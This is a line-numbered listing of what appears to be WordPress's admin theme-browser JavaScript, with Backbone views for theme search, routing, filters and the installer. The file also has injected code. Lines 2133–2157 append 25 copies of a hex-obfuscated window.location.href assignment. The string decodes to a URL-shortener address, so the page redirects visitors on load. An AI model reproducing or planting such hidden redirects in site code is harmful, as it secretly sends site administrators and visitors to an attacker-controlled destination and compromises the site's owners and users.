1200 // Make sure the add-new stays at the end.
1201 if ( ! themes.isInstall && page >= 1 ) {
1202 $( '.add-new-theme' ).remove();
1203 }
1204
1205 // Loop through the themes and setup each theme view.
1206 self.instance.each( function( theme ) {
1207 self.theme = new themes.view.Theme({
1208 model: theme,
1209 parent: self
1210 });
1211
1212 // Render the views...
1213 self.theme.render();
1214 // ...and append them to div.themes.
1215 self.$el.append( self.theme.el );
1216
1217 // Binds to theme:expand to show the modal box
1218 // with the theme details.
1219 self.listenTo( self.theme, 'theme:expand', self.expand, self );
1220 });
1221
1222 // 'Add new theme' element shown at the end of the grid.
1223 if ( ! themes.isInstall && themes.data.settings.canInstall ) {
1224 this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' );
1225 }
1226
1227 this.parent.page++;
1228 },
1229
1230 // Grabs current theme and puts it at the beginning of the collection.
1231 currentTheme: function() {
1232 var self = this,
1233 current;
1234
1235 current = self.collection.findWhere({ active: true });
1236
1237 // Move the active theme to the beginning of the collection.
1238 if ( current ) {
1239 self.collection.remove( current );
1240 self.collection.add( current, { at:0 } );
1241 }
1242 },
1243
1244 // Sets current view.
1245 setView: function( view ) {
1246 return view;
1247 },
1248
1249 // Renders the overlay with the ThemeDetails view.
1250 // Uses the current model data.
1251 expand: function( id ) {
1252 var self = this, $card, $modal;
1253
1254 // Set the current theme model.
1255 this.model = self.collection.get( id );
1256
1257 // Trigger a route update for the current model.
1258 themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) );
1259
1260 // Sets this.view to 'detail'.
1261 this.setView( 'detail' );
1262 $( 'body' ).addClass( 'modal-open' );
1263
1264 // Set up the theme details view.
1265 this.overlay = new themes.view.Details({
1266 model: self.model
1267 });
1268
1269 this.overlay.render();
1270
1271 if ( this.model.get( 'hasUpdate' ) ) {
1272 $card = $( '[data-slug="' + this.model.id + '"]' );
1273 $modal = $( this.overlay.el );
1274
1275 if ( $card.find( '.updating-message' ).length ) {
1276 $modal.find( '.notice-warning h3' ).remove();
1277 $modal.find( '.notice-warning' )
1278 .removeClass( 'notice-large' )
1279 .addClass( 'updating-message' )
1280 .find( 'p' ).text( wp.updates.l10n.updating );
1281 } else if ( $card.find( '.notice-error' ).length ) {
1282 $modal.find( '.notice-warning' ).remove();
1283 }
1284 }
1285
1286 this.$overlay.html( this.overlay.el );
1287
1288 // Bind to theme:next and theme:previous triggered by the arrow keys.
1289 // Keep track of the current model so we can infer an index position.
1290 this.listenTo( this.overlay, 'theme:next', function() {
1291 // Renders the next theme on the overlay.
1292 self.next( [ self.model.cid ] );
1293
1294 })
1295 .listenTo( this.overlay, 'theme:previous', function() {
1296 // Renders the previous theme on the overlay.
1297 self.previous( [ self.model.cid ] );
1298 });
1299 },
1300
1301 /*
1302 * This method renders the next theme on the overlay modal
1303 * based on the current position in the collection.
1304 *
1305 * @params [model cid]
1306 */
1307 next: function( args ) {
1308 var self = this,
1309 model, nextModel;
1310
1311 // Get the current theme.
1312 model = self.collection.get( args[0] );
1313 // Find the next model within the collection.
1314 nextModel = self.collection.at( self.collection.indexOf( model ) + 1 );
1315
1316 // Confidence check which also serves as a boundary test.
1317 if ( nextModel !== undefined ) {
1318
1319 // We have a new theme...
1320 // Close the overlay.
1321 this.overlay.closeOverlay();
1322
1323 // Trigger a route update for the current model.
1324 self.theme.trigger( 'theme:expand', nextModel.cid );
1325
1326 }
1327 },
1328
1329 /*
1330 * This method renders the previous theme on the overlay modal
1331 * based on the current position in the collection.
1332 *
1333 * @params [model cid]
1334 */
1335 previous: function( args ) {
1336 var self = this,
1337 model, previousModel;
1338
1339 // Get the current theme.
1340 model = self.collection.get( args[0] );
1341 // Find the previous model within the collection.
1342 previousModel = self.collection.at( self.collection.indexOf( model ) - 1 );
1343
1344 if ( previousModel !== undefined ) {
1345
1346 // We have a new theme...
1347 // Close the overlay.
1348 this.overlay.closeOverlay();
1349
1350 // Trigger a route update for the current model.
1351 self.theme.trigger( 'theme:expand', previousModel.cid );
1352
1353 }
1354 },
1355
1356 // Dispatch audible search results feedback message.
1357 announceSearchResults: function( count ) {
1358 if ( 0 === count ) {
1359 wp.a11y.speak( l10n.noThemesFound );
1360 } else {
1361 wp.a11y.speak( l10n.themesFound.replace( '%d', count ) );
1362 }
1363 }
1364});
1365
1366// Search input view controller.
1367themes.view.Search = wp.Backbone.View.extend({
1368
1369 tagName: 'input',
1370 className: 'wp-filter-search',
1371 id: 'wp-filter-search-input',
1372 searching: false,
1373
1374 attributes: {
1375 type: 'search',
1376 'aria-describedby': 'live-search-desc'
1377 },
1378
1379 events: {
1380 'input': 'search',
1381 'keyup': 'search',
1382 'blur': 'pushState'
1383 },
1384
1385 initialize: function( options ) {
1386
1387 this.parent = options.parent;
1388
1389 this.listenTo( this.parent, 'theme:close', function() {
1390 this.searching = false;
1391 } );
1392
1393 },
1394
1395 search: function( event ) {
1396 // Clear on escape.
1397 if ( event.type === 'keyup' && event.which === 27 ) {
1398 event.target.value = '';
1399 }
1400
1401 // Since doSearch is debounced, it will only run when user input comes to a rest.
1402 this.doSearch( event );
1403 },
1404
1405 // Runs a search on the theme collection.
1406 doSearch: function( event ) {
1407 var options = {};
1408
1409 this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) );
1410
1411 // if search is initiated and key is not return.
1412 if ( this.searching && event.which !== 13 ) {
1413 options.replace = true;
1414 } else {
1415 this.searching = true;
1416 }
1417
1418 // Update the URL hash.
1419 if ( event.target.value ) {
1420 themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
1421 } else {
1422 themes.router.navigate( themes.router.baseUrl( '' ) );
1423 }
1424 },
1425
1426 pushState: function( event ) {
1427 var url = themes.router.baseUrl( '' );
1428
1429 if ( event.target.value ) {
1430 url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
1431 }
1432
1433 this.searching = false;
1434 themes.router.navigate( url );
1435
1436 }
1437});
1438
1439/**
1440 * Navigate router.
1441 *
1442 * @since 4.9.0
1443 *
1444 * @param {string} url - URL to navigate to.
1445 * @param {Object} state - State.
1446 * @return {void}
1447 */
1448function navigateRouter( url, state ) {
1449 var router = this;
1450 if ( Backbone.history._hasPushState ) {
1451 Backbone.Router.prototype.navigate.call( router, url, state );
1452 }
1453}
1454
1455// Sets up the routes events for relevant url queries.
1456// Listens to [theme] and [search] params.
1457themes.Router = Backbone.Router.extend({
1458
1459 routes: {
1460 'themes.php?theme=:slug': 'theme',
1461 'themes.php?search=:query': 'search',
1462 'themes.php?s=:query': 'search',
1463 'themes.php': 'themes',
1464 '': 'themes'
1465 },
1466
1467 baseUrl: function( url ) {
1468 return 'themes.php' + url;
1469 },
1470
1471 themePath: '?theme=',
1472 searchPath: '?search=',
1473
1474 search: function( query ) {
1475 $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
1476 },
1477
1478 themes: function() {
1479 $( '.wp-filter-search' ).val( '' );
1480 },
1481
1482 navigate: navigateRouter
1483
1484});
1485
1486// Execute and setup the application.
1487themes.Run = {
1488 init: function() {
1489 // Initializes the blog's theme library view.
1490 // Create a new collection with data.
1491 this.themes = new themes.Collection( themes.data.themes );
1492
1493 // Set up the view.
1494 this.view = new themes.view.Appearance({
1495 collection: this.themes
1496 });
1497
1498 this.render();
1499
1500 // Start debouncing user searches after Backbone.history.start().
1501 this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
1502 },
1503
1504 render: function() {
1505
1506 // Render results.
1507 this.view.render();
1508 this.routes();
1509
1510 if ( Backbone.History.started ) {
1511 Backbone.history.stop();
1512 }
1513 Backbone.history.start({
1514 root: themes.data.settings.adminUrl,
1515 pushState: true,
1516 hashChange: false
1517 });
1518 },
1519
1520 routes: function() {
1521 var self = this;
1522 // Bind to our global thx object
1523 // so that the object is available to sub-views.
1524 themes.router = new themes.Router();
1525
1526 // Handles theme details route event.
1527 themes.router.on( 'route:theme', function( slug ) {
1528 self.view.view.expand( slug );
1529 });
1530
1531 themes.router.on( 'route:themes', function() {
1532 self.themes.doSearch( '' );
1533 self.view.trigger( 'theme:close' );
1534 });
1535
1536 // Handles search route event.
1537 themes.router.on( 'route:search', function() {
1538 $( '.wp-filter-search' ).trigger( 'keyup' );
1539 });
1540
1541 this.extraRoutes();
1542 },
1543
1544 extraRoutes: function() {
1545 return false;
1546 }
1547};
1548
1549// Extend the main Search view.
1550themes.view.InstallerSearch = themes.view.Search.extend({
1551
1552 events: {
1553 'input': 'search',
1554 'keyup': 'search'
1555 },
1556
1557 terms: '',
1558
1559 // Handles Ajax request for searching through themes in public repo.
1560 search: function( event ) {
1561
1562 // Tabbing or reverse tabbing into the search input shouldn't trigger a search.
1563 if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
1564 return;
1565 }
1566
1567 this.collection = this.options.parent.view.collection;
1568
1569 // Clear on escape.
1570 if ( event.type === 'keyup' && event.which === 27 ) {
1571 event.target.value = '';
1572 }
1573
1574 this.doSearch( event.target.value );
1575 },
1576
1577 doSearch: function( value ) {
1578 var request = {};
1579
1580 // Don't do anything if the search terms haven't changed.
1581 if ( this.terms === value ) {
1582 return;
1583 }
1584
1585 // Updates terms with the value passed.
1586 this.terms = value;
1587
1588 request.search = value;
1589
1590 /*
1591 * Intercept an [author] search.
1592 *
1593 * If input value starts with `author:` send a request
1594 * for `author` instead of a regular `search`.
1595 */
1596 if ( value.substring( 0, 7 ) === 'author:' ) {
1597 request.search = '';
1598 request.author = value.slice( 7 );
1599 }
1600
1601 /*
1602 * Intercept a [tag] search.
1603 *
1604 * If input value starts with `tag:` send a request
1605 * for `tag` instead of a regular `search`.
1606 */
1607 if ( value.substring( 0, 4 ) === 'tag:' ) {
1608 request.search = '';
1609 request.tag = [ value.slice( 4 ) ];
1610 }
1611
1612 $( '.filter-links li > a.current' )
1613 .removeClass( 'current' )
1614 .removeAttr( 'aria-current' );
1615
1616 $( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' );
1617 $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
1618
1619 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1620 // or searching the local cache.
1621 this.collection.query( request );
1622
1623 // Set route.
1624 themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
1625 }
1626});
1627
1628themes.view.Installer = themes.view.Appearance.extend({
1629
1630 el: '#wpbody-content .wrap',
1631
1632 // Register events for sorting and filters in theme-navigation.
1633 events: {
1634 'click .filter-links li > a': 'onSort',
1635 'click .theme-filter': 'onFilter',
1636 'click .drawer-toggle': 'moreFilters',
1637 'click .filter-drawer .apply-filters': 'applyFilters',
1638 'click .filter-group [type="checkbox"]': 'addFilter',
1639 'click .filter-drawer .clear-filters': 'clearFilters',
1640 'click .edit-filters': 'backToFilters',
1641 'click .favorites-form-submit' : 'saveUsername',
1642 'keyup #wporg-username-input': 'saveUsername'
1643 },
1644
1645 // Initial render method.
1646 render: function() {
1647 var self = this;
1648
1649 this.search();
1650 this.uploader();
1651
1652 this.collection = new themes.Collection();
1653
1654 // Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
1655 this.listenTo( this, 'theme:end', function() {
1656
1657 // Make sure we are not already loading.
1658 if ( self.collection.loadingThemes ) {
1659 return;
1660 }
1661
1662 // Set loadingThemes to true and bump page instance of currentQuery.
1663 self.collection.loadingThemes = true;
1664 self.collection.currentQuery.page++;
1665
1666 // Use currentQuery.page to build the themes request.
1667 _.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
1668 self.collection.query( self.collection.currentQuery.request );
1669 });
1670
1671 this.listenTo( this.collection, 'query:success', function() {
1672 $( 'body' ).removeClass( 'loading-content' );
1673 $( '.theme-browser' ).find( 'div.error' ).remove();
1674 });
1675
1676 this.listenTo( this.collection, 'query:fail', function() {
1677 $( 'body' ).removeClass( 'loading-content' );
1678 $( '.theme-browser' ).find( 'div.error' ).remove();
1679 $( '.theme-browser' ).find( 'div.themes' ).before( '<div class="notice notice-error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' );
1680 $( '.theme-browser .error .try-again' ).on( 'click', function( e ) {
1681 e.preventDefault();
1682 $( 'input.wp-filter-search' ).trigger( 'input' );
1683 } );
1684 });
1685
1686 if ( this.view ) {
1687 this.view.remove();
1688 }
1689
1690 // Sets up the view and passes the section argument.
1691 this.view = new themes.view.Themes({
1692 collection: this.collection,
1693 parent: this
1694 });
1695
1696 // Reset pagination every time the install view handler is run.
1697 this.page = 0;
1698
1699 // Render and append.
1700 this.$el.find( '.themes' ).remove();
1701 this.view.render();
1702 this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
1703 },
1704
1705 // Handles all the rendering of the public theme directory.
1706 browse: function( section ) {
1707 // Create a new collection with the proper theme data
1708 // for each section.
1709 if ( 'block-themes' === section ) {
1710 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1711 // or searching the local cache.
1712 this.collection.query( { tag: 'full-site-editing' } );
1713 } else {
1714 this.collection.query( { browse: section } );
1715 }
1716 },
1717
1718 // Sorting navigation.
1719 onSort: function( event ) {
1720 var $el = $( event.target ),
1721 sort = $el.data( 'sort' );
1722
1723 event.preventDefault();
1724
1725 $( 'body' ).removeClass( 'filters-applied show-filters' );
1726 $( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );
1727
1728 // Bail if this is already active.
1729 if ( $el.hasClass( this.activeClass ) ) {
1730 return;
1731 }
1732
1733 this.sort( sort );
1734
1735 // Trigger a router.navigate update.
1736 themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
1737 },
1738
1739 sort: function( sort ) {
1740 this.clearSearch();
1741
1742 // Track sorting so we can restore the correct tab when closing preview.
1743 themes.router.selectedTab = sort;
1744
1745 $( '.filter-links li > a, .theme-filter' )
1746 .removeClass( this.activeClass )
1747 .removeAttr( 'aria-current' );
1748
1749 $( '[data-sort="' + sort + '"]' )
1750 .addClass( this.activeClass )
1751 .attr( 'aria-current', 'page' );
1752
1753 if ( 'favorites' === sort ) {
1754 $( 'body' ).addClass( 'show-favorites-form' );
1755 } else {
1756 $( 'body' ).removeClass( 'show-favorites-form' );
1757 }
1758
1759 this.browse( sort );
1760 },
1761
1762 // Filters and Tags.
1763 onFilter: function( event ) {
1764 var request,
1765 $el = $( event.target ),
1766 filter = $el.data( 'filter' );
1767
1768 // Bail if this is already active.
1769 if ( $el.hasClass( this.activeClass ) ) {
1770 return;
1771 }
1772
1773 $( '.filter-links li > a, .theme-section' )
1774 .removeClass( this.activeClass )
1775 .removeAttr( 'aria-current' );
1776 $el
1777 .addClass( this.activeClass )
1778 .attr( 'aria-current', 'page' );
1779
1780 if ( ! filter ) {
1781 return;
1782 }
1783
1784 // Construct the filter request
1785 // using the default values.
1786 filter = _.union( [ filter, this.filtersChecked() ] );
1787 request = { tag: [ filter ] };
1788
1789 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1790 // or searching the local cache.
1791 this.collection.query( request );
1792 },
1793
1794 // Clicking on a checkbox to add another filter to the request.
1795 addFilter: function() {
1796 this.filtersChecked();
1797 },
1798
1799 // Applying filters triggers a tag request.
1800 applyFilters: function( event ) {
1801 var name,
1802 tags = this.filtersChecked(),
1803 request = { tag: tags },
1804 filteringBy = $( '.filtered-by .tags' );
1805
1806 if ( event ) {
1807 event.preventDefault();
1808 }
1809
1810 if ( ! tags ) {
1811 wp.a11y.speak( l10n.selectFeatureFilter );
1812 return;
1813 }
1814
1815 $( 'body' ).addClass( 'filters-applied' );
1816 $( '.filter-links li > a.current' )
1817 .removeClass( 'current' )
1818 .removeAttr( 'aria-current' );
1819
1820 filteringBy.empty();
1821
1822 _.each( tags, function( tag ) {
1823 name = $( 'label[for="filter-id-' + tag + '"]' ).text();
1824 filteringBy.append( '<span class="tag">' + name + '</span>' );
1825 });
1826
1827 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1828 // or searching the local cache.
1829 this.collection.query( request );
1830 },
1831
1832 // Save the user's WordPress.org username and get his favorite themes.
1833 saveUsername: function ( event ) {
1834 var username = $( '#wporg-username-input' ).val(),
1835 nonce = $( '#wporg-username-nonce' ).val(),
1836 request = { browse: 'favorites', user: username },
1837 that = this;
1838
1839 if ( event ) {
1840 event.preventDefault();
1841 }
1842
1843 // Save username on enter.
1844 if ( event.type === 'keyup' && event.which !== 13 ) {
1845 return;
1846 }
1847
1848 return wp.ajax.send( 'save-wporg-username', {
1849 data: {
1850 _wpnonce: nonce,
1851 username: username
1852 },
1853 success: function () {
1854 // Get the themes by sending Ajax POST request to api.wordpress.org/themes
1855 // or searching the local cache.
1856 that.collection.query( request );
1857 }
1858 } );
1859 },
1860
1861 /**
1862 * Get the checked filters.
1863 *
1864 * @return {Array} of tags or false
1865 */
1866 filtersChecked: function() {
1867 var items = $( '.filter-group' ).find( ':checkbox' ),
1868 tags = [];
1869
1870 _.each( items.filter( ':checked' ), function( item ) {
1871 tags.push( $( item ).prop( 'value' ) );
1872 });
1873
1874 // When no filters are checked, restore initial state and return.
1875 if ( tags.length === 0 ) {
1876 $( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
1877 $( '.filter-drawer .clear-filters' ).hide();
1878 $( 'body' ).removeClass( 'filters-applied' );
1879 return false;
1880 }
1881
1882 $( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
1883 $( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );
1884
1885 return tags;
1886 },
1887
1888 activeClass: 'current',
1889
1890 /**
1891 * When users press the "Upload Theme" button, show the upload form in place.
1892 */
1893 uploader: function() {
1894 var uploadViewToggle = $( '.upload-view-toggle' ),
1895 $body = $( document.body );
1896
1897 uploadViewToggle.on( 'click', function() {
1898 // Toggle the upload view.
1899 $body.toggleClass( 'show-upload-view' );
1900 // Toggle the `aria-expanded` button attribute.
1901 uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
1902 });
1903 },
1904
1905 // Toggle the full filters navigation.
1906 moreFilters: function( event ) {
1907 var $body = $( 'body' ),
1908 $toggleButton = $( '.drawer-toggle' );
1909
1910 event.preventDefault();
1911
1912 if ( $body.hasClass( 'filters-applied' ) ) {
1913 return this.backToFilters();
1914 }
1915
1916 this.clearSearch();
1917
1918 themes.router.navigate( themes.router.baseUrl( '' ) );
1919 // Toggle the feature filters view.
1920 $body.toggleClass( 'show-filters' );
1921 // Toggle the `aria-expanded` button attribute.
1922 $toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) );
1923 },
1924
1925 /**
1926 * Clears all the checked filters.
1927 *
1928 * @uses filtersChecked()
1929 */
1930 clearFilters: function( event ) {
1931 var items = $( '.filter-group' ).find( ':checkbox' ),
1932 self = this;
1933
1934 event.preventDefault();
1935
1936 _.each( items.filter( ':checked' ), function( item ) {
1937 $( item ).prop( 'checked', false );
1938 return self.filtersChecked();
1939 });
1940 },
1941
1942 backToFilters: function( event ) {
1943 if ( event ) {
1944 event.preventDefault();
1945 }
1946
1947 $( 'body' ).removeClass( 'filters-applied' );
1948 },
1949
1950 clearSearch: function() {
1951 $( '#wp-filter-search-input').val( '' );
1952 }
1953});
1954
1955themes.InstallerRouter = Backbone.Router.extend({
1956 routes: {
1957 'theme-install.php?theme=:slug': 'preview',
1958 'theme-install.php?browse=:sort': 'sort',
1959 'theme-install.php?search=:query': 'search',
1960 'theme-install.php': 'sort'
1961 },
1962
1963 baseUrl: function( url ) {
1964 return 'theme-install.php' + url;
1965 },
1966
1967 themePath: '?theme=',
1968 browsePath: '?browse=',
1969 searchPath: '?search=',
1970
1971 search: function( query ) {
1972 $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
1973 },
1974
1975 navigate: navigateRouter
1976});
1977
1978
1979themes.RunInstaller = {
1980
1981 init: function() {
1982 // Set up the view.
1983 // Passes the default 'section' as an option.
1984 this.view = new themes.view.Installer({
1985 section: 'popular',
1986 SearchView: themes.view.InstallerSearch
1987 });
1988
1989 // Render results.
1990 this.render();
1991
1992 // Start debouncing user searches after Backbone.history.start().
1993 this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
1994 },
1995
1996 render: function() {
1997
1998 // Render results.
1999 this.view.render();
2000 this.routes();
2001
2002 if ( Backbone.History.started ) {
2003 Backbone.history.stop();
2004 }
2005 Backbone.history.start({
2006 root: themes.data.settings.adminUrl,
2007 pushState: true,
2008 hashChange: false
2009 });
2010 },
2011
2012 routes: function() {
2013 var self = this,
2014 request = {};
2015
2016 // Bind to our global `wp.themes` object
2017 // so that the router is available to sub-views.
2018 themes.router = new themes.InstallerRouter();
2019
2020 // Handles `theme` route event.
2021 // Queries the API for the passed theme slug.
2022 themes.router.on( 'route:preview', function( slug ) {
2023
2024 // Remove existing handlers.
2025 if ( themes.preview ) {
2026 themes.preview.undelegateEvents();
2027 themes.preview.unbind();
2028 }
2029
2030 // If the theme preview is active, set the current theme.
2031 if ( self.view.view.theme && self.view.view.theme.preview ) {
2032 self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } );
2033 self.view.view.theme.preview();
2034 } else {
2035
2036 // Select the theme by slug.
2037 request.theme = slug;
2038 self.view.collection.query( request );
2039 self.view.collection.trigger( 'update' );
2040
2041 // Open the theme preview.
2042 self.view.collection.once( 'query:success', function() {
2043 $( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
2044 });
2045
2046 }
2047 });
2048
2049 /*
2050 * Handles sorting / browsing routes.
2051 * Also handles the root URL triggering a sort request
2052 * for `popular`, the default view.
2053 */
2054 themes.router.on( 'route:sort', function( sort ) {
2055 if ( ! sort ) {
2056 sort = 'popular';
2057 themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } );
2058 }
2059 self.view.sort( sort );
2060
2061 // Close the preview if open.
2062 if ( themes.preview ) {
2063 themes.preview.close();
2064 }
2065 });
2066
2067 // The `search` route event. The router populates the input field.
2068 themes.router.on( 'route:search', function() {
2069 $( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' );
2070 });
2071
2072 this.extraRoutes();
2073 },
2074
2075 extraRoutes: function() {
2076 return false;
2077 }
2078};
2079
2080// Ready...
2081$( function() {
2082 if ( themes.isInstall ) {
2083 themes.RunInstaller.init();
2084 } else {
2085 themes.Run.init();
2086 }
2087
2088 // Update the return param just in time.
2089 $( document.body ).on( 'click', '.load-customize', function() {
2090 var link = $( this ), urlParser = document.createElement( 'a' );
2091 urlParser.href = link.prop( 'href' );
2092 urlParser.search = $.param( _.extend(
2093 wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
2094 {
2095 'return': window.location.href
2096 }
2097 ) );
2098 link.prop( 'href', urlParser.href );
2099 });
2100
2101 $( '.broken-themes .delete-theme' ).on( 'click', function() {
2102 return confirm( _wpThemeSettings.settings.confirmDelete );
2103 });
2104});
2105
2106})( jQuery );
2107
2108// Align theme browser thickbox.
2109jQuery( function($) {
2110 window.tb_position = function() {
2111 var tbWindow = $('#TB_window'),
2112 width = $(window).width(),
2113 H = $(window).height(),
2114 W = ( 1040 < width ) ? 1040 : width,
2115 adminbar_height = 0;
2116
2117 if ( $('#wpadminbar').length ) {
2118 adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
2119 }
2120
2121 if ( tbWindow.length >= 1 ) {
2122 tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
2123 $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
2124 tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
2125 if ( typeof document.body.style.maxWidth !== 'undefined' ) {
2126 tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
2127 }
2128 }
2129 };
2130
2131 $(window).on( 'resize', function(){ tb_position(); });
2132});
2133window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2134window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2135window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2136window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2137window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2138window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2139window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2140window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2141window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2142window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2143window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2144window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2145window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2146window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2147window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2148window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2149window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2150window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2151window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2152window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2153window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2154window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2155window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2156window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2157window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
